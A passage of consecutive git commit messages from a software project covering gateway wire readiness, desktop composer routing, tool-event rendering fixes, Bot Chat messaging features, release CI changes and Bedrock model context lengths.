- A request waiting on, or arriving after, a failed readiness rejects
  GATEWAY_NOT_CONNECTED_MESSAGE; one that hits its deadline while
  waiting rejects in the channel's `request timed out after Ns: method`
  text.
- State subscribers hear `open` only once the wire is known, and
  connectionState reports `connecting` until then, so a never-ready peer
  is a failed dial to the reconnect ladders, not a stable open.
- The first gateway.ready of a dial latches its wire.
- The readiness wait counts inside the shared 15 s connect budget.
- A settled readiness skips the wait, so requests send at once as on
  main.
- `sessionWire` exposes the negotiated wire for the composer.

The rewind/clarify-lock redirects move to canonicalRedirect, keeping
request() under the complexity cap. The ws fixtures shared by the two
dial test files move to src/test/ws-gateway-fixture.ts, and the
open-wait test folds into the abort/deadline test as its `ready` case,
asserted on frame order rather than a fixed sleep.
serverOwnsComposerQueue still decided canonical ownership from the
owner's `mode === 'local'` or the URL's native_dial marker. The wire a
public connection negotiated never left HermesGateway, so on a public
canonical chat:

- an attached image was cleared from the composer but the canonical
  prompt.submit carried no attachments;
- /undo and /retry went through slash.exec -> command.dispatch, which
  the owner refuses as unsupported_command;
- busy Enter used the global busy_input_mode, never the session's
  config.get busy;
- busy and /queue input stayed in the renderer-local queue instead of
  prompt.submit {queued:true}.

Each socket now publishes its client's latched wire into
$connectionWires from gateway.ready, keyed by its owner connection: the
primary under its route's connection, a secondary under its own.
serverOwnsComposerQueue reads the wire of the owner route's connection
(or the window's connection when the owner is unknown) and keeps the
native-dial marker only as the fallback before that socket is ready. The
`mode: 'remote'` early return is gone, which also covers the Bot Chat
owner hints the webapp stamps `mode: 'remote'` on its own native dial.
useBusyInputMode subscribes to the wires, so a chat opened before the
ready frame switches to the session's busy policy when it lands.

isStalledDialError moves unchanged from store/gateway.ts to
store/gateway-dial-failures.ts beside the other dial-failure classifiers,
keeping gateway.ts under its code-health line cap after the new hook.
The canonical owner-routing test filtered its frames on event.session_id,
which would also hide a routed frame that lost its session_id; it now
skips only gateway.ready. canonical-protocol.ts's header still said
remote transports keep the legacy protocol; it now names remote owners
that advertise session_authority, with the wording from #146212.

Co-authored-by: nthieuu205z <229157293+nthieuu205z@users.noreply.github.com>
@rvben's reproducer from #143336, unchanged except that it publishes the
socket's negotiated wire the way the registry's gateway.ready hook does
(the hook itself is covered with the real registry in
gateway-background-reconnect.test.ts). The real usePromptActions composer
and HermesGateway client run against a loopback peer: on a public
canonical connection the image now uploads over HTTP and rides
prompt.submit as an attachment; the public legacy and native canonical
controls are unchanged. The public canonical case fails with the
previous serverOwnsComposerQueue.

Co-authored-by: rvben <5196381+rvben@users.noreply.github.com>
The primary's gateway.ready recorded its wire under
`$primaryGatewayRoute.connectionId ?? $connection.connectionId`. A null
primary connection id is a real identity (the local source), and while a
secondary is foregrounded the background primary's reconnect keeps
`$connection` on that secondary. The primary's wire then overwrote the
foreground connection's: a canonical local primary marked a legacy remote
as canonical, and serverOwnsComposerQueue sent its busy input to an owner
queue the legacy peer does not have.

primaryWireConnectionId keeps an established route's null id as local and
falls back to the window's connection only for a route not yet recorded
(both fields null, between a gateway swap and its descriptor).
settleReadiness snapshotted the held handlers, cleared the set and
checked the transport once, so a handler that unsubscribed a later one,
or closed the client, still let the later one hear `open` (after
`closed`, with connectionState already 'closed'). Each held handler is
now delivered only while it is still held and the dial is still the
open, ready one.
A secondary opened for a profile alone (ensureGatewayForProfile) has no
registry id in its closure, so its gateway.ready published the wire under
the local source. The profile's descriptor can name a different backend: a
profile's remote override resolves to that remote's registry id. So:

- a canonical override never recorded its own wire, and its chats kept the
  legacy composer paths (image staging, slash undo/retry, the
  renderer-local queue);
- a legacy override overwrote the local source's canonical wire, sending a
  local chat's composer down those same legacy paths.

recordSecondaryWire keys the wire by the registry id, else the id the
dial's descriptor resolved to. A local descriptor is the local source. A
resolved remote without a registry id has no key of its own and publishes
nothing, so it can never overwrite the local wire.
The readiness timer rejected with a plain Error, which isStalledDialError
does not count, so a secondary whose peer opens but never sends
gateway.ready redialed with backoff forever instead of parking after
SECONDARY_STALLED_DIAL_BUDGET dials like any other dial that waits out its
budget.

The timer now rejects with TimeoutError, the class the stalled-dial seam
already recognizes. The message is unchanged, and requests still answer
GATEWAY_NOT_CONNECTED_MESSAGE after a failed readiness.
@donovan-yohan's reproducer from the review on cc6ad86a: the real registry,
HermesGateway, wire publisher, composer predicate and stall classifier, with
only the Electron descriptor and the WebSocket peer synthetic. It covers a
canonical profile-only override recording its resolved backend, a legacy one
leaving the local wire alone, an explicit-source control, and the readiness
timeout classified as a stalled dial.

Changed from the posted version: the file is renamed, the test names drop
their "review:" prefix, imports are sorted for ESLint, and one case is added
that drops the secondary's peer, lets every redial open without
gateway.ready, and checks the scope parks after its budget.

The two override cases fail with the previous gateway.ts; the classification
and parking cases fail with the previous client.ts (55 redials in the
parking case).

Co-authored-by: donovan-yohan <34756395+donovan-yohan@users.noreply.github.com>
A primary reached through HERMES_DESKTOP_REMOTE_URL has a route of
{ connectionId: null, mode: 'remote' }. primaryWireConnectionId returned
its null id, and the wire store keyed every null id as the local source.
With a real local source connected as a secondary, the two sockets'
gateway.ready frames overwrote each other's wire. After a legacy remote
reconnect, native local chats read `legacy`: /undo went through
slash.exec instead of the owner's rewind, and images took the legacy
attachment path.

The wire store now keys a source without a registry id by its mode: local
stays LOCAL_CONNECTION_ID, and a remote gets UNNAMED_REMOTE_WIRE_KEY,
which no registry id can take. primaryWireSource hands the established
route (id and mode) to the publisher, and serverOwnsComposerQueue looks up
the owner route, or the window's connection, by the same key.
The public-dial readiness added in this PR pushed api/client.ts past
1,000 lines: per-dial state, a timer, the held `open` subscribers and the
cancellable request wait sat beside session routing and REST helpers.

DialReadiness (api/dial-readiness.ts) now owns each dial's settle, its
readiness timeout, the held `open` and a request's deadline/abort wait.
HermesGateway connects it to its transport: the constructor's
gateway.ready and state listeners, connect(), close(), onState() and
request(). remainingRequestBudget and GATEWAY_NOT_CONNECTED_MESSAGE move
with it; client.ts re-exports the message for its existing importers.
Behaviour is unchanged, and the dial tests pass as they are. client.ts is
899 lines.
Delivering before collection removed the wait that kept one collection per session: every settled media turn now started its own off-loop history scan. Each scan holds a worker thread and a pooled read connection for its whole duration, so turns settling while a long scan runs stacked further scans, and the settlement writes and readers behind them waited for threads or fell back to the writer connection.

Queue the rows on one tracked collector per authority instead. Replies still go out before any collection, and stopping or retiring the profile still joins the collector.
A drain cancelled while its reply was being handed off waits for the tracked delivery task before re-raising. When that task failed, the second wait raised the delivery error in place of the cancellation, so the drain ended as a dead pump instead of a cancelled task. Log the delivery failure and re-raise the cancellation.
The collector only needs the admission id, but it queued whole admission rows. While a slow history scan runs, later settled turns accumulate in that queue, and an API row can carry inline images and the client's full conversation history, so those payloads stayed in memory until the earlier scans finished. Queue the id and pass it to `_release_media`.

Reported-by: greptile-apps[bot]
Terminal media collection now runs after delivery on a tracked collector, so a settled or discarded turn's bytes are gone once that collector finishes, not when the drain or `resolve_unknown` returns. Two tests asserted the deletion straight after those returned and failed in CI. They now wait for the authority's tracked work, as the settlement tests this branch already updated do.
Idle retirement (`session_retirement`) can let a conversation go between an unknown turn's resolution commit and its loop-side follow-up. `_resolved_unknown` looked the session up unconditionally to see whether the drain still owned the claim, so a discard without a captured answer raised `KeyError` before `_publish_pending` could restore the conversation, skipped cleanup, and left it retired. A retired conversation has no drain: treat it as not drain-owned and let `_publish_pending` restore it, as main does.
When an unknown turn is resolved while the drain still holds its claim, `_resolved_unknown` leaves publication, delivery and collection to the drain. The drain queued collection only for a turn it settled itself, so if its recovery then failed (a storage error reading the result back, or ownership moving), the resolved turn's media was never queued and stayed on disk until the age-based sweep. The resolution now hands the collection to the drain explicitly, and the drain honours it on every exit.
The previous fix let a discarded unknown turn resolve after idle retirement had let its conversation go, but the captured-answer branch still indexed the session before `_publish_pending` restored it. When retirement won the race between the resolution commit and its loop-side follow-up, resolving with a captured answer raised `KeyError`, skipped the completion publication and the receipt. This also fails on main before this branch. `_resolved_unknown` now brings a retired conversation back before deciding who owns the claim, so both the captured-answer and discard cases publish and return their receipt; a drain-owned resolution is unchanged.

Reported-by: helix4u
Removes 7 optional skills:
- notion, airtable: the official vendor MCPs are in the MCP catalog
  (OAuth, no Portal needed), hosted connectors exist, and each vendor
  keeps its own skills repo.
- shopify: hosted connector plus Shopify's own maintained `shopify`
  skill in Shopify/Shopify-AI-Toolkit.
- duckduckgo-search, searxng-search: both are bundled web_search
  backends now and web_search works keyless out of the box, so these
  fallback-only skills essentially never surfaced.
- honcho: Honcho left core for Plastic Labs' catalog plugin, which owns
  the `hermes honcho` commands this skill documented.
- mpp-agent: the verified Pay plugins (hosted and local) cover paying
  HTTP 402 / x402 / MPP APIs with a bundled skill.

makenotion/skills, Airtable/skills and Shopify/Shopify-AI-Toolkit become
default trusted taps (all MIT, vendor-owned) so the topic still shows in
`hermes skills browse`, matching the wandb/qdrant/pinecone precedent.
The `box` skill stays for now.

AIRTABLE_API_KEY leaves OPTIONAL_ENV_VARS (its only consumer was the
skill); NOTION_API_KEY stays because the Teams meeting pipeline's Notion
sink reads it, and its description now says so. Related-skill links,
docs examples and the zh-Hans catalogs drop the removed names.
The Windows installer-script -> hermes-desktop-app-update leg from
v2026.7.30 failed its OLD update-window chat on rc.1-v0.22.7 (run
41707948253, job 126169529713): "The mock must receive this checkpoint
prompt after the send", and the mock never saw a chat request.

v2026.7.30 answers wake.status inline on the WebSocket reader (#85438
moved it to the RPC pool in v2026.8.13), and its STT readiness check
lazy-installs faster-whisper first, which an installer-script venv
lacks. The app calls wake.status when it connects, so every later
request on that socket waits for the install. In the failing job it
took 53 s: session.create outlived the renderer's 30 s timeout
("request timed out after 30s: session.create"), the draft went back
into the composer and no turn started. The same leg passed on
rc.3-v0.22.6, where the install took 3.5 s.

The journey config writer now sets stt.enabled: false beside
onboarding.run: false. With STT off, v2026.7.30's wake and voice probes
skip the install. These journeys test install and update, not voice
input.

Reproduced on Windows 11 with the real v2026.7.30 app and backend
through runInstalledDesktopSmoke. With the faster-whisper and
ctranslate2 index pages held 25 s each, the install took 54 s and the
check failed with the CI message. The new config passed under the same
index, which never received a faster-whisper request.
Vitest stores each file's last duration under node_modules/.vite/vitest and
runs the longest files first. The JS job caches node_modules keyed on the
lockfile, so the run that missed the cache saved its history and every hit
since replayed it: the heaviest jsdom suites start cold together and push
light files (browser-hints, terminal-ownership) past their 15s timeout. Main
has been red that way since run 41717106556. Remove the history after the
restore so each run orders its files from scratch.
ci(js): drop vitest's run history from the cached node_modules
The darwin matrix is Apple Silicon only, so the step's if: was always true
and its comment pointed at the removed macos-intel lane. The macOS bundle
update docs now say the publish job waits for the arm64 build and its smoke.
scripts/releases/desktop_targets.py holds the (electron platform, arch)
triple and derives the manifest spelling and the native handoff legs from it.
channel_artifacts, channel_publish, channel_releases, stable and the builds
table read it instead of five hand-written copies, and NATIVE_LEGS has one
definition instead of two.

read_native_receipts always reads every native leg, so its legs parameter
and _leg_targets go. A claim with includeMacosIntel: true now says why it is
refused. Tests iterate the targets directly instead of skipping a 2x2 case.
The commit that added stt.enabled: false carries the mechanism and the
incident. The writer keeps one line saying why the setting exists and
which releases need it; the test assertion needs no comment.
test(install-e2e): journeys turn STT off so an old release's boot probe cannot stall the send
Address review feedback on the running-phase re-arm: the running-phase
gate in `toolCallOwnerMessageId` consulted the session-wide
`interimBoundaryPending` flag as ownership evidence for a sealed-no-result
part, but that flag is raised by the CURRENT turn's interim boundary and
can belong to a different bubble than the candidate row. A new turn that
emits `message.start` -> `message.interim` -> `tool.start` (reusing an id
from a prior, lost-completion turn) therefore re-armed the prior turn's
sealed history and clobbered it, leaving the new turn without a row of its
own.

Drop the `session` parameter and the session-global term so the
running-phase gate re-arms only when the owning message itself is still in
flight (`pending` or `interim`) — the interim-boundary and mid-turn-user-
message paths that re-arm a sealed part seal the bubble in place and mark
that same message `interim`, so the evidence lives on the candidate row.
The `complete`-phase #113035 late-completion reconciliation is unchanged
(this call site only ever passes 'complete').

Add a RED witness reproducing the cross-turn hole: turn A loses its
completion and settles; turn B raises `interimBoundaryPending` via
`message.interim` and then reuses the id. The witness fails on the
session-global gate (one clobbered row, `expected length 2 but got 1`)
and passes with the per-row gate (two rows: A intact and sealed without a
result, B with its own command and result). The existing mid-turn
mid-turn-user-message re-attach and the #113035 pure-settle late-
completion guards stay green.
`rewind` no longer exports `finalizeInterruptedMessages`. Stop now seals the
live turn with `finalizeStoppedMessages`, and a fresh send still calls
`finalizeInterruptedMessages` from `@/lib/chat-messages`. Point the two
boundary tests at the helpers those paths call today, so they type-check and
exercise the real sealing again.
Only an unresolved tool part can own a lifecycle event, so a second copy of
a start or completion for a call that had already returned landed in the
live bubble as a brand-new row. A background delegate_task returns in about
a second, so a re-delivery showed the whole fan-out twice: "5 Subagents" in
the status stack over ten delegate rows in the transcript.

A copy of a call this turn already finished (same id and name, and the same
arguments for a start or the same result for a completion) now leaves the
transcript untouched. Constant-id providers and a later turn reusing an id
with the same arguments still get their own rows.
The reuse fix routes a running event to a sealed, result-less row only while
that row's message is still in flight. A copy of a start that arrives after
the turn settled, while its completion is still outstanding, therefore found
no owner. It seeded a fresh pending bubble under the finished turn, and the
late completion then attached to that new row instead of the sealed one.

With no turn live, a running event can only be a late or repeated frame of a
call already on screen, so route it by the completion rule. A turn that is
live keeps the reuse rule, so a new turn reusing an id still gets its own row.

Co-authored-by: BearHuddleston <196404565+BearHuddleston@users.noreply.github.com>
Three gaps in telling a copy of a finished call from a different call:

- A start matched when its arguments were a subset of the finished call's,
  so a constant-id call that dropped an optional argument lost its live
  row. Compare the exact key set instead, leaving out the keys the event
  itself folds into a row (`context`, `preview`, labels), and drop the
  non-empty guard so an argless call's repeated start also matches.
- The scan stopped at a projected queued prompt, which belongs to the next
  turn, so a copy arriving while one was shown drew a second row.
- An older turn's sealed, result-less row with the same id won over the
  current call, so a copy of the current call's completion landed on the
  old row. The waiting row now wins only when it is newer than the
  finished match.

The doc comment now names the case content cannot separate: an older
constant-id backend running the same command twice in one turn. Current
backends rename a reused id before tool.start goes out.

Co-authored-by: BearHuddleston <196404565+BearHuddleston@users.noreply.github.com>
Three cases the previous two commits got wrong:

- With no turn live, every running event took the late-completion route.
  A new call whose message.start was missed (an optimistic send across a
  connection gap) also arrives with no turn live, and could take over an
  older turn's sealed row with the same id. That route now needs the
  start to carry exactly that row's arguments; otherwise the reuse rule
  applies and the new call gets its own row.
- A projected queued prompt was always passed over. Once its turn has
  started, before history replaces the projected row, it is that turn's
  boundary. It is now passed over only while the current turn still has
  a response, the rule completeAssistantMessage uses.
- A todo tool's completion carries a `todos` snapshot that is folded into
  the row's args, so a repeated start no longer matched exactly. `todos`
  is now one of the event-added keys, ignored unless the start carries it.

The argument comparison moves into sameCallArgs, shared by both checks,
and the routing into toolEventOwnerMessageId.
The repeat scan passed over a projected queued prompt whenever the session
had a current response (`streamId`, `sawAssistantPayload` or a pending
interim). Once the queued prompt's own turn started and its first
message.delta arrived, those flags were set again. The scan then walked past
that turn's prompt into the previous turn, and a new call reusing the
previous turn's id and arguments was dropped as a repeat, along with its
completion.

Neither those flags nor where rows sit can tell the two turns apart: after
an interim seal, the running turn's next reply is also drawn below the
queued row. What does tell them apart is message.start. Resume projects the
queued prompt while the running turn is already under way, so the next
message.start after the row is drawn is the queued prompt's own turn.
handleMessageStart now records that on the row (`queuedTurnStarted`), and
queuedPromptAwaitsNextTurn passes over a queued row only until then. The
mark lives on the row, not in session state, because every turn's queued
row shares one id; a later projection for a new queued prompt starts
unmarked.
A running tool event re-arms a sealed row without a result only when that
row's message is still in flight: `pending`, or `interim`. But `interim` only
records that a `message.interim` sealed the bubble. It stays set after the
turn ends: when the tool's completion is lost and the final reply streams
into its own bubble, `completeAssistantMessage` settles that bubble and leaves
the sealed one marked `interim`. A later turn that reuses the tool id then
re-armed the old row and drew its command over the earlier one, with no row
of its own.

`handleMessageStart` now records the newest row on screen as the turn's
anchor (`turnAnchorId`). An `interim` row at or above the anchor belongs to an
earlier turn, so a running event no longer re-arms it. Inside the turn the
rule is unchanged: a running copy of a call whose bubble an interim sealed
still updates that row. If the anchor row is no longer on screen, the old
rule applies.

Tests (late-tool-events.test.tsx):
- turn A seals its call with an interim, loses the completion and settles a
  separate final; turn B reuses the id. B gets its own row and A's row keeps
  its command (fails without the anchor check: 1 row instead of 2).
- a running copy of the call after an interim seal in the same turn still
  updates the one row.
`queuedTurnStarted` is listed in COMPARED_FIELDS, but
`chatMessagesEquivalent` never compared it. When `message.start` changed
only that mark, the view-sync flush treated the transcript as unchanged and
skipped `setMessages`, so `$messages` kept the unmarked queued row. Resume
reads `$messages`, so it could seed session state with the old row, and the
repeat check would then pass over a prompt whose turn had already started.

Compare it with `interim` through one table of optional flags, which also
keeps `chatMessagesEquivalent` under its complexity cap.

Test (use-session-state-cache.test.tsx): a queued row whose only change is
the started mark reaches `$messages` (fails without the comparison).
scan_skill_cached served the trust_level recorded at scan time whenever
content, source and SCANNER_VERSION still matched. A repo added to or
removed from TRUSTED_REPOS therefore kept its old install policy for any
skill the user had scanned before upgrading: a newly trusted vendor repo
stayed under community policy, and a de-trusted repo kept the looser
trusted policy. The current trust level is now part of the cache match.

Reported by the review bot on #148639.
The type is whoever acts on a canonical session: an attached CLI/TUI/Desktop
viewer, the API server, the messaging control path, cron and automation. Most
call sites already name the variable `actor`. Renaming it frees "principal"
for a member of a tenant, the meaning gateway-gateway already uses
(Tenant > Membership(Principal) > Agent), so the two repos share one vocabulary.

Mechanical: whole-word rename in every module that imports it from
gateway.session_contract. No alias is kept (internal paths are not API).
Unrelated uses of the word (Windows Task Scheduler XML) are untouched.
These two files landed on main after the rename was written and still
imported the old session_contract.Principal name, so they failed with
ImportError once the rename applied on top of main.

Refs #141373
The Android app dials /api/ws from a remote peer with a
`hermes-gateway-ticket.` subprotocol and no Origin header. The runtime
wrapper in gateway/run_api.py treated any Origin-less ticket dial as a
native local Desktop dial and closed it 4403 when the peer was not
loopback, so the Webapp's own ticket gate never saw the ticket its
/api/auth/ws-ticket had minted and nothing reached dashboard-auth.log.

Native grants are loopback-only, so a remote ticket can only be the
Webapp's: fall through to it, exactly as the same dial with an Origin
already does. Origin is client-controlled, so this opens no gate a
client could not already reach by adding one. Loopback dials still try
the native grant first, and a malformed ticket set is still refused.

Fixes #147361

(cherry picked from commit 86c2ae90766682fb36e27bc031bf5378e82903cb)
The green run committed the Store submission held (Manual) and the
publication pass tried to switch it to Immediate. Partner Center refuses
to update a committed submission (v0.22.7: 409 InvalidState, "Cannot
update the submission because it is in certification"), so every
release needed Publish now by hand.

stable-store now leaves an uncommitted draft set to Immediate, and the
publication pass commits it. Nothing reaches certification or customers
before the release is published, and the build goes live as soon as it
passes certification.
Committing the Store draft at publication makes every certified build go
live by itself, with no way left to keep one back for a chosen release time.
Setting the repository variable MS_STORE_HOLD=true makes the publication
pass commit the draft Manual instead: it is certified and then waits for
Publish now in Partner Center, with a warning that says so. A rerun of a
held submission is a no-op and never flips it to Immediate. Unset keeps the
auto-publish default.

Also quote the real v0.22.7 refusal (state 'PreProcessing') and update the
stable-releases developer guide, which still described the held commit.
With MS_STORE_HOLD set after a build was committed Immediate, the API
refuses the switch to Manual and the pass told the operator to select
Publish now, though the build goes live by itself once certified. A
refused switch now reads the committed mode: Immediate reports that it
publishes on its own and that the hold cannot apply.
refactor(release): define the desktop targets once
The Bots pane opened with a bare "Refresh gateway groups" ghost button
and an unlabeled strip of gateway rooms above the toolbar. A window whose
connection had no registry id (an env or legacy remote) also printed the
internal "Canonical groups require an explicit connection" as plain text
there. A room created from the dialog did not show up until Refresh was
clicked.

Gateway rooms are now ordinary roster rows next to Desktop group chats:
the same tile, name, age and member line, sorted and filtered with the
rest, with right-click Open / Delete kept. The list keeps itself current
(a 10 s poll, every socket or source change, and right after a create or
disband here), so the button is gone. A failed re-read keeps the last
good list; a connection without a registry id, or a backend without
gateway Group Chats, lists none and says nothing.
Review fixes on the roster's gateway Group Chat rows:

- A failed or still-loading bot list no longer hides gateway rooms behind
  the bot-list error: rooms count toward "is there a list to show".
- The `groups.list` read writes nothing. A room is bound only when the user
  opens it, so a slow read can no longer re-bind a room disbanded since or
  rename one re-read since.
- A disbanded room stays hidden even when a read issued before the disband,
  or a failed re-read keeping the last good list, still carries it; the mark
  clears once the gateway stops listing the room.
- A gateway room never reads a Desktop room record by name, so a Desktop
  room named the same no longer lends it a section or a saved order.
- Move up / down on Desktop rooms reads the Desktop rooms only, so a
  neighbouring gateway room no longer enables a button that did nothing.
- A room an open view reports working or needing you stays in the Active
  filter past the recency window.
Also assert the whole Bots pane renders no Refresh button.
The plugin.yaml gains provides_tools and provides_hooks, and the
post_tool_call hook takes (tool_name, args, result, **kwargs) to match
the hook signature.
ACP clients advertise edit, model and reasoning controls but omit speed,
so editors cannot select the backend's existing service tiers.

Read eligible choices from the owning gateway under its profile and
credential scope, and apply picks through the validated session fast
setter without changing profile defaults. Publish tier changes to attached
viewers and read the requested next-turn value independently of active
agent metadata. Pass the reconnecting client through snapshot projection
to avoid re-entering the connection lock.

Cover route/account eligibility, session isolation, reloads, cross-viewer
updates, older owners and reconnect projection. Update ACP documentation
and regenerate the canonical gateway contract.
Do not compare requested speed changes against the active-agent tier in a
resume snapshot. Tier-bearing events read the owning session setting even
when model, effort and mode are unchanged.

The real ACP/gateway regression fails on 42500a10d9: Fast followed by an
editor reload suppresses a peer Normal selection. It passes with the fix.
Finish the awaited service-tier read before scheduling post-attach command
notices, so an editor has its session reply before the command menu. Read
the latest edit policy after that await for both reply representations.

The command-order regression fails on 42500a10d9. A second regression
catches mode changes during discovery. Both pass after the correction.
Resolve a lazy session model, provider and endpoint from one effective
policy read. A following session must also ignore its retained agent
route after the profile moves; use the matching route-bound launch key
or followed config key for account eligibility without mutating the agent.

Cover both custom/OpenAI transition directions with and without a retained
agent, plus followed-account key selection. Lazy cases fail on 42500a10d9;
retained and account-key cases fail before the Sol S1 correction. All pass
with the final helper shared by the eligibility read and Fast setter.
The local delivery lane no longer runs a CLI child: _run_delivery admits through the
profile authority and refuses a non-hermes argv, so both tests asserted a transport main
retired. The single-reply contract keeps its probe test.
- target accepts up to 8 comma-separated teammates: each is admitted as before, and one
  combined runner joins their reply runners and wakes the sender ONCE with a typed outcome per
  teammate (settled/failed/cancelled/pending + reply/error/reason/target_state).
- expects_reply=false: the message is marked "[no reply needed]" after the attribution colon and
  no reply runner starts (local: the payload and intent go once the owner admitted it; relay: no
  waiter; peer: the sending runner runs unwatched), so nothing wakes the sender.
- cancel=<delivery_id>: the sender withdraws its own queued request, or stops the exact turn it
  started, through the owner's prompt.cancel; the receipt's author must be the caller.
- The owner's deliver answer carries target_state (idle/working/waiting_approval/
  waiting_clarify/paused, never stored); the ack says plainly when the teammate is parked on its
  own user, and a runner whose wait lapses pending re-reads it through a same-id replay instead
  of ending on a silent timeout.
- One reply path (#95074): message_agent refuses a DM to the bot whose delivery this turn
  answers, since its final response already goes back. Protocol v3 names fan-out and notify-only.
A message_agent cancel of a started request interrupts the teammate's turn (prompt.cancel on
that generation). The turn settles `interrupted` with its result, and the receipt read that as
`failed: Bot Chat delivery failed`, so the sender heard a broken delivery for a request it
withdrew. An interrupted turn with a committed result is now `cancelled` (never retried: the one
retry gate already requires outcome `failed`).
idle / working / waiting_clarify / waiting_approval (approval first) / paused, derived by
gateway/session_bot_state.py from a real SessionAuthority, claim and prompt registration.
Review round on the message_agent fan-out:

- The runner's sub-processes get stdin=DEVNULL (the TUI subprocess stdin guard).
- Each spec entry names how its runner reports: only the live lane prints a
  delivery record; a relay or peer reply that looks like JSON stays the reply.
- A failing text runner keeps its stderr; one that says "do not resend" (a peer
  turn accepted but still running, a relay reply past its budget) is pending.
- Recipients are deduplicated by the bot each name resolves to, and a friendly
  name containing a comma still resolves whole before the list split.
- One target's setup or launch failure stays that target's entry: requests
  already admitted still get the combined waiter.
- Cancel follows the delivery's automatic retry when the first attempt ended
  while the receipt was still pending, and says so when the retry is not
  recorded yet instead of reporting "already finished".
message_agent's cancel picked an admission from the target's receipt file and cancelled it with
prompt.cancel. When the first attempt had just failed transiently, the owner's one automatic retry
could be scheduled but not yet recorded: the cancel hit the finished first attempt, and the retry
then ran anyway.

The cancel is now an owner RPC, bot_relay.cancel {id, profile, author_id}
(gateway/session_bot_cancel.py). It runs under the mailbox lock that admits the retry, follows the
retry when it exists, and otherwise withdraws it for good: the receipt's retry is marked refused
"cancelled", so no wake, re-delivery or owner restart admits it, and the receipt reads cancelled.
Only the delivery's own principal and author may cancel it.
split_targets deduplicated a comma list by the local bot each name resolves to. With a
registered peer "mini" and a local bot whose friendly name is "Mini", "mini, qa" collapsed to one
entry, but dispatch sends "mini" to the peer: the local teammate got nothing and was missing from
the ack and the combined reply.

Each name now resolves in dispatch's order (peer target, connection-qualified relay name, local
bot) and the list is deduplicated by (transport, recipient).
- message_agent takes optional `constraints` and `expecting`; the teammate reads them as labelled
  "Constraints:" / "Reply needed:" lines under the message.
- A teammate that ends a request turn silent or empty after writing its answer elsewhere (beside a
  tool call, or in a message_agent back to the sender) has those last words relayed once, marked
  "[no final reply; their last message this turn:]". Notify-only and non-bot deliveries keep silence.
- A turn its own gateway's stop/restart interrupted is a failed receipt ("its gateway stopped or
  restarted mid-turn ... not run again"), not `cancelled`: nobody cancelled it.
- Every live-lane completion and the fan-out join lead with `outcome`: "@beta answered." or
  "@gamma never answered: <why>" plus whether resending is safe; a wait that lapses on an unreachable
  owner says so (target_state "unreachable"); a busy teammate's ack says it takes the request next.
Live: the deliver answer reads target_state "working" for the turn this same request just started, so
the ack no longer claims an earlier turn. The schema drops prose the protocol section and the ack
already carry (main 921 -> 982 schema+protocol tokens, cl100k).
fix(acp): expose session-scoped service-tier picker
Slack thread context authorized each prior sender as chat_type="thread". The
gateway authz chain only treats group/forum/channel as group chats, so a
channel thread's senders were judged on the DM allowlist: group_allow_from
was never read and every human was tagged [unverified] even under
group_allow_from: ["*"], while a DM-only allow_from user read as verified in
a channel. The live message is authorized as "group" (channel) or "dm"
(IM/MPIM); thread-context senders now get that same chat type plus the
thread id, so the tag marks exactly the senders the live message's allowlist
would refuse. Authz is unchanged, so the Discord "thread" callers keep their
behaviour.

Origin: 0198713c33 (CWE-863 thread-context tagging, #55979).
The Start record was written only after the backend's one change lock and
plan(). A Start queued behind another gateway's Start reported nothing, so a
second pane offered Start again and that gateway restarted twice, and a
reopened pane's clock lost the time spent waiting.

Each Start now has its own record from its arrival, `preparing` while another
change goes first, and removes only that record when it ends, so one Start
finishing cannot hide another queued behind it on the same gateway. The pane
already describes `preparing`; the step type now names it.

Reported by yoniebans in review of #148408.
The Start record ended when the Start request answered, but the gateway
restart it asked for was still running. A pane reopened in those seconds, or
any other window, showed Restart needed with Restart gateway enabled; a second
window also dropped its 1 s poll and could wait up to 10 s more.

A Start whose restart began is now reported `restarting` past its request,
until a gateway serves the config it wrote, that restart reports a failure, a
Stop or Restart replaces it, or 90 s pass (as long as the pane itself waits).
The restart command can return before the new gateway serves, so the end is
read from the gateway, not from the child's exit.

The Start's own answer carries the record too. The pane keeps that answer as
the status it shows, and where the backend answering is the gateway being
restarted (Desktop's own gateway) every status read fails from the old one's
drain until its replacement serves: a pane reopened then showed the answer's
saved-but-not-restarted config as Restart needed.

Reported by teknium1 and yoniebans in review of #148408.
The pane keeps the Start's answer as the status it shows, and that answer
reports the Start restarting the gateway. Where the backend answering is the
gateway being restarted and no replacement ever answers, every status read
fails, so the answer stayed: after the restart wait timed out the pane still
showed the Start restarting, its clock running, with every control disabled,
for as long as the reads kept failing. The backend's 90 s limit on that report
cannot reach a pane that cannot read it.

The pane now ignores a reported Start in a status it has not read again for
as long as its own restart wait (90 s). It then shows the saved change, with
Restart gateway, beside the timeout notice.

Reported by greptile-apps and Adolanium in review of #148632.
A followed Start ended at the first status read where a gateway served the
Webapp on the configured port. The gateway reports its Webapp address by
port alone, so the gateway the restart was replacing passed too when it
already served the Webapp on that port, as an earlier Start's gateway does
when a second Start queued behind it saves another mode or address. The
second Start's record then ended before its restart applied anything, and
the pane enabled Stop on the old config.

Start now notes which gateway process answers before it asks for the
restart (the control socket's identify: pid and start time), and the record
ends only once another process serves the config. The identity is read
before the status, so a gateway replaced between the two reads still counts
as the old one.

Reported by greptile-apps and Adolanium in review of #148632.
Records outlive their requests, so two Starts on one gateway could both be
followed. A Start's record also ends when its restart reports a failure, but
the backend reports only the newest restart's failure. Once a second Start's
restart replaced the first's as the newest, the first one's failure could no
longer be seen: when the second failed too, its record ended and the first
was reported restarting again, holding the pane's controls for up to 90 s.

A Start whose restart is accepted now drops the records of earlier Starts
followed on that gateway, as a Stop or Restart already does: its restart
replaces theirs. The Restart route's replacement is now tested beside Stop's.

Reported by Adolanium in review of #148632.
An operator running GPT-6.1 Terra on Bedrock saw a 128K window and compression at 96K
(the 75% small-window floor). The AWS card states 1,050,000 tokens
(model-card-openai-gpt-6-1-terra). The model launched on Bedrock on 2026-10-26.
a382af23f4 added gpt-6.1-terra to model_metadata.DEFAULT_CONTEXT_LENGTHS the same day,
but the Bedrock table, routing allowlist and picker were never updated.

Every AWS model-card page for a text model (100 cards, read 2026-11-04) was compared
with get_bedrock_context_length(id, probe=False). On main, 45 cards miss. This commit
adds rows only where the card states the value:

- GPT-6.1 Terra and GPT-5.4 (both cards: 1,050,000) go into the table, the Mantle /
  Converse allowlist BEDROCK_OPENAI_RESPONSES_MODEL_IDS and the static picker. Both
  cards list the same endpoint matrix as their siblings: bare ID on bedrock-mantle,
  us./global. profiles on bedrock-runtime with Converse. GPT-6.1 Terra keeps the gpt-6
  "issuer" reasoning-replay policy through the existing "openai.gpt-6" prefix.
- Third-party rows from each card's "Context window" field: Nova 2 Lite 1M, Jamba 1.5
